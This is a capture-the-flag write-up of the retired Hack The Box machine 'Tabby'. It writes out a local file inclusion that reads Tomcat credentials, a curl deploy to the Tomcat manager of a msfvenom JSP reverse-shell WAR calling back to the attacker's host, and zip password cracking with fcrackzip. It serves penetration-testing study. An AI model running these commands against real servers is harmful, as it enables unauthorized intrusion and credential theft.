HTB Write-up | Tabby

Inês Martins -
Retired machine can be found here.

Scanning

~ nmap -sC -sV -A -T4 tabby.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-04 17:47 WEST
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.30s latency).
Not shown: 996 closed ports

PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open     http     Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.59 seconds

Port 80

The Apache server running on port 80 seems to be the website for a hosting company called "Mega Hosting":

The home page has a link for their "statement on recovering from the data breach". When we click the link we're redirected to http://megahosting.htb/news.php?file=statement. If we access the page on the tabby.htb domain (which we had previously configured on /etc/hosts) we see the following message:

We apologise to all our customers for the previous data breach.

We have changed the site to remove this tool, and have invested heavily in more secure servers

So, from this statement we understand that a tool was removed from the site, which will probably be of use in the future.

Also very interesting is the way that the statement file is being fetched, let's see if we can fetch any file we want:

Bingo!

Port 8080

When we access port 8080 we see the "default Tomcat home page".

Since we've already identified a Local File Inclusion vulnerability on port 80, the next logic step would be to try and access the credentials file on the server, however, this file was not in the typical location, in fact, it took me a couple of hours to find it hosted at usr/share/tomcat9/etc/tomcat-users.xml.

<?xml version="1.0" encoding="UTF-8"?>
...
<tomcat-users xmlns="http://tomcat.apache.org/xml"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
   version="1.0">
 ...
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

Getting User

As we can see above, tomcat has the following roles:

The text interface is basically a REST API that is able to execute some commands. Let's try to list all the applications running on this server:

~ curl -u "tomcat" http://tabby.htb:8080/manager/text/list
Enter host password for user 'tomcat': $3cureP4s5w0rd123!

OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:2:/usr/share/tomcat9-examples/examples
/host-manager:running:1:/usr/share/tomcat9-admin/host-manager
/shell:running:3:shell
/my-shell2:running:10:my-shell2
/siren.war:running:0:siren.war
/my-shell4:running:1:my-shell4
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
/my-shell:running:1:my-shell
/my-shell1:running:2:my-shell1

OK, as we can see a couple of other HTB users have clearly abused this feature, let's try to upload our own reverse shell using this interface:

~ curl -T "./php-reverse-shell.php" "http://tabby.htb:8080/manager/text/deploy?path=/shelly&update=true" -u tomcat
Enter host password for user 'tomcat': $3cureP4s5w0rd123!

FAIL - Deployed application at context path [/shelly] but context failed to start

Turns out the shell was uploaded but since it's not a .war it's not run by the server. After searching how to embed a reverse shell in a .war file I came across this article that provided a bunch of different methods. This was the most effective:

~ msfvenom -p java/jsp_shell_reverse_tcp LHOST=OUR_IP LPORT=4444 -f war > shelly.war

~ curl -T "./shelly.war" "http://tabby.htb:8080/manager/text/deploy?path=/shelly&update=true" -u tomcat
Enter host password for user 'tomcat': $3cureP4s5w0rd123!
OK - Deployed application at context path [/shelly]

Now when we access http://tabby.htb:8080/shelly/ we get a reverse shell.
Let's upgrade it!

~ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

I tried authenticating with su as the user ash with the password we already know and also with  clive, which we found on the /etc/passwd file, but both failed.

Becoming ash

I started by looking for files belonging to ash, which led me to an interesting zip file:

tomcat@tabby:/var$ find ./ -user ash
...
./www/html/files
./www/html/files/16162020_backup.zip

The file was password protected and neither clive nor $3cureP4s5w0rd123! worked. In order to brute-force the answer I first downloaded the file to my machine and then used a zip file cracker - fcrackzip :

kali@kali:~/$ fcrackzip -D -p rockyou.txt tabby.zip -u
PASSWORD FOUND!!!!: pw == admin@it

kali@kali:~/$ unzip tabby.zip 
Archive:  tabby.zip
[tabby.zip] var/www/html/favicon.ico password: 
  inflating: var/www/html/favicon.ico  
  inflating: var/www/html/index.php  
 extracting: var/www/html/logo.png   
  inflating: var/www/html/news.php   
  inflating: var/www/html/Readme.txt

Turns out there's nothing useful on this extracted folder, but the password can be use to login as ash:

tomcat@tabby:/var/www/html$ su - ash
su - ash
Password: admin@it

ash@tabby:~$ cat user.txt

Finally, I SSHed into the machine after adding the public key to /home/ash/.ssh/authorized_key:

ssh -i ash@tabby.htb

Getting root

ash@tabby:~$ ls
alpine-v3.12-x86_64-20200710_0223.tar.gz  snap  user.txt

Seeing the alpine zip file I realised the privilege escalation was probably be related to lxd.

I followed this article and got the root flag.